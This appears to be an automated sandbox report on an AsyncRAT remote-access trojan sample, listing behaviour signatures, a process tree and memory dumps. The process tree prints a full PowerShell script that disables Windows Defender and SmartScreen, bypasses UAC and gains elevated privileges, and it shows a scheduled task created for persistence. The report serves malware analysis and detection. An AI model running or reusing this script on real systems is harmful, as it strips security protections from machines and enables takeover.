Analysis

  • max time kernel
    121s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    31/10/2021, 07:01

General

  • Target
    ee4e8fa33f9c8e228576c672c47dbc9d.exe
  • Size 140KB
  • Sample211031-hs86bscdfl
  • SHA256 d8973dcdc7704e93175add543a41e8322bdb15c4f92b2fa642713ed09681ffad
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 47 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 63 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3848
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" qc windefend
          3⤵
            PID:684
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3252
            • C:\Program Files\Windows Defender\MSASCuiL.exe
              "C:\Program Files\Windows Defender\MSASCuiL.exe"
              4⤵
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:980
          • C:\Windows\system32\whoami.exe
            "C:\Windows\system32\whoami.exe" /groups
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1172
          • C:\Windows\system32\net1.exe
            "C:\Windows\system32\net1.exe" stop windefend
            3⤵
              PID:2128
            • C:\Windows\system32\sc.exe
              "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
              3⤵
                PID:2216
              • C:\Program Files\Windows Defender\MpCmdRun.exe
                "C:\Program Files\Windows Defender\MpCmdRun.exe" -DisableService
                3⤵
                • Suspicious use of SetWindowsHookEx
                PID:1260
          • C:\Users\Admin\AppData\Local\Temp\ee4e8fa33f9c8e228576c672c47dbc9d.exe
            "C:\Users\Admin\AppData\Local\Temp\ee4e8fa33f9c8e228576c672c47dbc9d.exe"
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3808
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension .exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1108
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc @ ( e c h o   o f f % ) [ 1 ] 
 s p   ' H K C U : \ V o l a t i l e   E n v i r o n m e n t '   ' T o g g l e D e f e n d e r '   @ ' 
 i f   ( $ ( s c . e x e   q c   w i n d e f e n d )   - l i k e   ' * T O G G L E * ' )   { $ T O G G L E = 7 ; $ K E E P = 6 ; $ A = ' E n a b l e ' ; $ S = ' O F F ' } e l s e { $ T O G G L E = 6 ; $ K E E P = 7 ; $ A = ' D i s a b l e ' ; $ S = ' O N ' } 
 
 i f   ( $ e n v : 1   - n e   6   - a n d   $ e n v : 1   - n e   7 )   {   $ e n v : 1 = $ T O G G L E   } 
 
 s t a r t   c m d   - a r g s   ' / d / r   S e c u r i t y H e a l t h S y s t r a y   &   " % P r o g r a m F i l e s % \ W i n d o w s   D e f e n d e r \ M S A S C u i L . e x e " '   - w i n   1 
 
 $ n o t i f = ' H K C U : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ N o t i f i c a t i o n s \ S e t t i n g s \ W i n d o w s . S y s t e m T o a s t . S e c u r i t y A n d M a i n t e n a n c e ' 
 n i   $ n o t i f   - e a   0 | o u t - n u l l ;   r i   $ n o t i f . r e p l a c e ( ' S e t t i n g s ' , ' C u r r e n t ' )   - R e c u r s e   - F o r c e   - e a   0 
 s p   $ n o t i f   E n a b l e d   0   - T y p e   D w o r d   - F o r c e   - e a   0 ;   i f   ( $ T O G G L E   - e q   7 )   { r p   $ n o t i f   E n a b l e d   - F o r c e   - e a   0 } 
 
 $ t s = N e w - O b j e c t   - C o m O b j e c t   ' S c h e d u l e . S e r v i c e ' ;   $ t s . C o n n e c t ( ) ;   $ b a f f l i n g = $ t s . G e t F o l d e r ( ' \ M i c r o s o f t \ W i n d o w s \ D i s k C l e a n u p ' ) 
 $ b p a s s = $ b a f f l i n g . G e t T a s k ( ' S i l e n t C l e a n u p ' ) ;   $ f l a w = $ b p a s s . D e f i n i t i o n 
 
 $ u = 0 ; $ w = w h o a m i   / g r o u p s ; i f ( $ w - l i k e ' * 1 - 5 - 3 2 - 5 4 4 * ' ) { $ u = 1 } ; i f ( $ w - l i k e ' * 1 - 1 6 - 1 2 2 8 8 * ' ) { $ u = 2 } ; i f ( $ w - l i k e ' * 1 - 1 6 - 1 6 3 8 4 * ' ) { $ u = 3 } 
 
 $ r = [ c h a r ] 1 3 ;   $ n f o = [ c h a r ] 3 9 + $ r + '   ( \       / ) ' + $ r + ' (   *   .   *   )     A   l i m i t e d   a c c o u n t   p r o t e c t s   y o u   f r o m   U A C   e x p l o i t s ' + $ r + '         ` ` ` ' + $ r + [ c h a r ] 3 9 
 $ s c r i p t = ' - n o p   - w i n   1   - c   &   { r p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ; $ A v e Y o = ' + $ n f o + ' ; $ e n v : 1 = ' + $ e n v : 1 ;   $ e n v : _ _ C O M P A T _ L A Y E R = ' I n s t a l l e r ' 
 $ s c r i p t + = ' ; i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r ) } ' ;   $ c m d = ' p o w e r s h e l l   ' + $ s c r i p t 
 
 i f   ( $ u   - e q   0 )   { 
     s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 ;   b r e a k 
 } 
 i f   ( $ u   - e q   1 )   { 
     i f   ( $ f l a w . A c t i o n s . I t e m ( 1 ) . P a t h   - i n o t l i k e   ' * w i n d i r * ' ) { s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 ;   b r e a k } 
     s p   h k c u : \ e n v i r o n m e n t   w i n d i r   $ ( ' p o w e r s h e l l   ' + $ s c r i p t + '   # ' ) 
     $ z = $ b p a s s . R u n E x ( $ n u l l , 2 , 0 , $ n u l l ) ;   $ w a i t = 0 ;   w h i l e ( $ b p a s s . S t a t e   - g t   3   - a n d   $ w a i t   - l t   1 7 ) { s l e e p   - m   1 0 0 ;   $ w a i t + = 0 . 1 } 
     i f ( g p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ) { r p   h k c u : \ e n v i r o n m e n t   w i n d i r   - e a   0 ; s t a r t   p o w e r s h e l l   - a r g s   $ s c r i p t   - v e r b   r u n a s   - w i n   1 } ; b r e a k 
 } 
 i f   ( $ u   - e q   2 )   { 
     $ A = [ A p p D o m a i n ] : : C u r r e n t D o m a i n . " D e f ` i n e D y n a m i c A s s e m b l y " ( 1 , 1 ) . " D e f ` i n e D y n a m i c M o d u l e " ( 1 ) ; $ D = @ ( ) ; 0 . . 5 | % { $ D + = $ A . " D e f ` i n e T y p e " ( ' A ' + $ _ , 
     1 1 7 9 9 1 3 , [ V a l u e T y p e ] ) }   ; 4 , 5 | % { $ D + = $ D [ $ _ ] . " M a k ` e B y R e f T y p e " ( ) }   ; $ I = [ I n t 3 2 ] ; $ J = " I n t ` P t r " ; $ P = $ I . m o d u l e . G e t T y p e ( " S y s t e m . $ J " ) ;   $ F = @ ( 0 ) 
     $ F + = ( $ P , $ I , $ P ) , ( $ I , $ I , $ I , $ I , $ P , $ D [ 1 ] ) , ( $ I , $ P , $ P , $ P , $ I , $ I , $ I , $ I , $ I , $ I , $ I , $ I , [ I n t 1 6 ] , [ I n t 1 6 ] , $ P , $ P , $ P , $ P ) , ( $ D [ 3 ] , $ P ) , ( $ P , $ P , $ I , $ I ) 
     $ S = [ S t r i n g ] ;   $ 9 = $ D [ 0 ] . " D e f ` i n e P I n v o k e M e t h o d " ( ' C r e a t e P r o c e s s ' , " k e r n e l ` 3 2 " , 8 2 1 4 , 1 , $ I , @ ( $ S , $ S , $ I , $ I , $ I , $ I , $ I , $ S , $ D [ 6 ] , $ D [ 7 ] ) , 1 , 4 ) 
     1 . . 5 | % { $ k = $ _ ; $ n = 1 ; $ F [ $ _ ] | % { $ 9 = $ D [ $ k ] . " D e f ` i n e F i e l d " ( ' f ' + $ n + + , $ _ , 6 ) } } ; $ T = @ ( ) ; 0 . . 5 | % { $ T + = $ D [ $ _ ] . " C r ` e a t e T y p e " ( ) ; $ Z = [ u i n t p t r ] : : s i z e 
     n v   ( ' T ' + $ _ ) ( [ A c t i v a t o r ] : : C r e a t e I n s t a n c e ( $ T [ $ _ ] ) ) } ;   $ H = $ I . m o d u l e . G e t T y p e ( " S y s t e m . R u n t i m e . I n t e r o p ` S e r v i c e s . M a r ` s h a l " ) ; 
     $ W P = $ H . " G e t ` M e t h o d " ( " W r i t e $ J " , [ t y p e [ ] ] ( $ J , $ J ) ) ;   $ H G = $ H . " G e t ` M e t h o d " ( " A l l o c H ` G l o b a l " , [ t y p e [ ] ] ' i n t 3 2 ' ) ;   $ v = $ H G . i n v o k e ( $ n u l l , $ Z ) 
     ' T r u s t e d I n s t a l l e r ' , ' l s a s s ' | % { i f ( ! $ p n ) { n e t 1   s t a r t   $ _   2 > & 1   > $ n u l l ; $ p n = [ D i a g n o s t i c s . P r o c e s s ] : : G e t P r o c e s s e s B y N a m e ( $ _ ) [ 0 ] ; } } 
     $ W P . i n v o k e ( $ n u l l , @ ( $ v , $ p n . H a n d l e ) ) ;   $ S Z = $ H . " G e t ` M e t h o d " ( " S i z e O f " , [ t y p e [ ] ] ' t y p e ' ) ;   $ T 1 . f 1 = 1 3 1 0 7 2 ;   $ T 1 . f 2 = $ Z ;   $ T 1 . f 3 = $ v ;   $ T 2 . f 1 = 1 
     $ T 2 . f 2 = 1 ; $ T 2 . f 3 = 1 ; $ T 2 . f 4 = 1 ; $ T 2 . f 6 = $ T 1 ; $ T 3 . f 1 = $ S Z . i n v o k e ( $ n u l l , $ T [ 4 ] ) ; $ T 4 . f 1 = $ T 3 ; $ T 4 . f 2 = $ H G . i n v o k e ( $ n u l l , $ S Z . i n v o k e ( $ n u l l , $ T [ 2 ] ) ) 
     $ H . " G e t ` M e t h o d " ( " S t r u c t u r e T o ` P t r " , [ t y p e [ ] ] ( $ D [ 2 ] , $ J , ' b o o l e a n ' ) ) . i n v o k e ( $ n u l l , @ ( ( $ T 2 - a s   $ D [ 2 ] ) , $ T 4 . f 2 , $ f a l s e ) ) ; $ w i n d o w = 0 x 0 E 0 8 0 6 0 0 
     $ 9 = $ T [ 0 ] . " G e t ` M e t h o d " ( ' C r e a t e P r o c e s s ' ) . I n v o k e ( $ n u l l , @ ( $ n u l l , $ c m d , 0 , 0 , 0 , $ w i n d o w , 0 , $ n u l l , ( $ T 4 - a s   $ D [ 4 ] ) , ( $ T 5 - a s   $ D [ 5 ] ) ) ) ;   b r e a k 
 } 
 
 $ w d p = ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r ' 
 '   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s ' , ' \ U X   C o n f i g u r a t i o n ' , ' \ M p E n g i n e ' , ' \ S p y n e t ' , ' \ R e a l - T i m e   P r o t e c t i o n '   | %   { n i   ( $ w d p + $ _ ) - e a   0 | o u t - n u l l } 
 
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0 
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0 
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0 
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0 
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s \ S y s t e m '   E n a b l e S m a r t S c r e e n   0   - T y p e   D w o r d   - F o r c e   - e a   0 
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0 
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0 
 n e t 1   s t o p   w i n d e f e n d 
 s c . e x e   c o n f i g   w i n d e f e n d   d e p e n d =   R p c S s - T O G G L E 
 k i l l   - N a m e   M p C m d R u n   - F o r c e   - e a   0 
 s t a r t   ( $ e n v : P r o g r a m F i l e s + ' \ W i n d o w s   D e f e n d e r \ M p C m d R u n . e x e ' )   - A r g   ' - D i s a b l e S e r v i c e '   - w i n   1 
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ m p e n g i n e d b . d b ' )   - F o r c e   - e a   0                       # #   C o m m e n t e d   =   k e e p   s c a n   h i s t o r y 
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ H i s t o r y \ S e r v i c e ' )   - R e c u r s e   - F o r c e   - e a   0 
 ' @   - F o r c e   - e a   0 ;   i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r ) 
 # - _ - # 
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2280
              • C:\Windows\system32\sc.exe
                "C:\Windows\system32\sc.exe" qc windefend
                3⤵
                  PID:976
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2332
                  • C:\Program Files\Windows Defender\MSASCuiL.exe
                    "C:\Program Files\Windows Defender\MSASCuiL.exe"
                    4⤵
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:1972
                • C:\Windows\system32\whoami.exe
                  "C:\Windows\system32\whoami.exe" /groups
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3756
                • C:\Windows\system32\net1.exe
                  "C:\Windows\system32\net1.exe" start TrustedInstaller
                  3⤵
                    PID:2424
                  • C:\Windows\system32\net1.exe
                    "C:\Windows\system32\net1.exe" start lsass
                    3⤵
                      PID:2184
                  • C:\Users\Admin\AppData\Roaming\ntoskrnl.exe
                    "C:\Users\Admin\AppData\Roaming\ntoskrnl.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:3156
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "chromedrive" /tr '"C:\Users\Admin\AppData\Roaming\chromedrive.exe"' & exit
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3580
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /f /sc onlogon /rl highest /tn "chromedrive" /tr '"C:\Users\Admin\AppData\Roaming\chromedrive.exe"'
                        4⤵
                        • Creates scheduled task(s)
                        PID:1768
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEF62.tmp.bat""
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3588
                      • C:\Windows\system32\timeout.exe
                        timeout 3
                        4⤵
                        • Delays execution with timeout.exe
                        PID:3928
                      • C:\Users\Admin\AppData\Roaming\chromedrive.exe
                        "C:\Users\Admin\AppData\Roaming\chromedrive.exe"
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:956

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      memory/956-334-0x000000001B620000-0x000000001B622000-memory.dmp

                      memory/956-335-0x0000000001150000-0x0000000001151000-memory.dmp

                      memory/1108-133-0x00000282AD0A3000-0x00000282AD0A5000-memory.dmp

                      memory/1108-142-0x0000028293030000-0x0000028293032000-memory.dmp

                      memory/1108-121-0x0000028293030000-0x0000028293032000-memory.dmp

                      memory/1108-216-0x00000282AD0A8000-0x00000282AD0A9000-memory.dmp

                      memory/1108-136-0x0000028293030000-0x0000028293032000-memory.dmp

                      memory/1108-137-0x0000028293030000-0x0000028293032000-memory.dmp

                      memory/1108-159-0x00000282AD0A6000-0x00000282AD0A8000-memory.dmp

                      memory/1108-138-0x00000282AD2B0000-0x00000282AD2B1000-memory.dmp

                      memory/1108-126-0x00000282ACFF0000-0x00000282ACFF1000-memory.dmp

                      memory/1108-125-0x0000028293030000-0x0000028293032000-memory.dmp

                      memory/1108-123-0x0000028293030000-0x0000028293032000-memory.dmp

                      memory/1108-122-0x0000028293030000-0x0000028293032000-memory.dmp

                      memory/1108-132-0x00000282AD0A0000-0x00000282AD0A2000-memory.dmp

                      memory/2280-129-0x000002759BC50000-0x000002759BC52000-memory.dmp

                      memory/2280-208-0x00000275B4338000-0x00000275B4339000-memory.dmp

                      memory/2280-134-0x00000275B4330000-0x00000275B4332000-memory.dmp

                      memory/2280-135-0x00000275B4333000-0x00000275B4335000-memory.dmp

                      memory/2280-139-0x000002759BC50000-0x000002759BC52000-memory.dmp

                      memory/2280-140-0x000002759BC50000-0x000002759BC52000-memory.dmp

                      memory/2280-130-0x000002759BC50000-0x000002759BC52000-memory.dmp

                      memory/2280-128-0x000002759BC50000-0x000002759BC52000-memory.dmp

                      memory/2280-207-0x00000275B4336000-0x00000275B4338000-memory.dmp

                      memory/2280-149-0x000002759BC50000-0x000002759BC52000-memory.dmp

                      memory/2280-127-0x000002759BC50000-0x000002759BC52000-memory.dmp

                      memory/3156-147-0x0000000000100000-0x0000000000101000-memory.dmp

                      memory/3156-163-0x00000000009C0000-0x00000000009C1000-memory.dmp

                      memory/3156-160-0x000000001ADC0000-0x000000001ADC2000-memory.dmp

                      memory/3808-118-0x000001A6A12B0000-0x000001A6A12B1000-memory.dmp

                      memory/3808-115-0x000001A6A1090000-0x000001A6A1091000-memory.dmp

                      memory/3808-117-0x000001A6BB620000-0x000001A6BB622000-memory.dmp

                      memory/3808-120-0x000001A6BB5C0000-0x000001A6BB5C4000-memory.dmp

                      memory/3848-266-0x0000025F72D93000-0x0000025F72D95000-memory.dmp

                      memory/3848-302-0x0000025F72D96000-0x0000025F72D98000-memory.dmp

                      memory/3848-304-0x0000025F72D98000-0x0000025F72D99000-memory.dmp

                      memory/3848-265-0x0000025F72D90000-0x0000025F72D92000-memory.dmp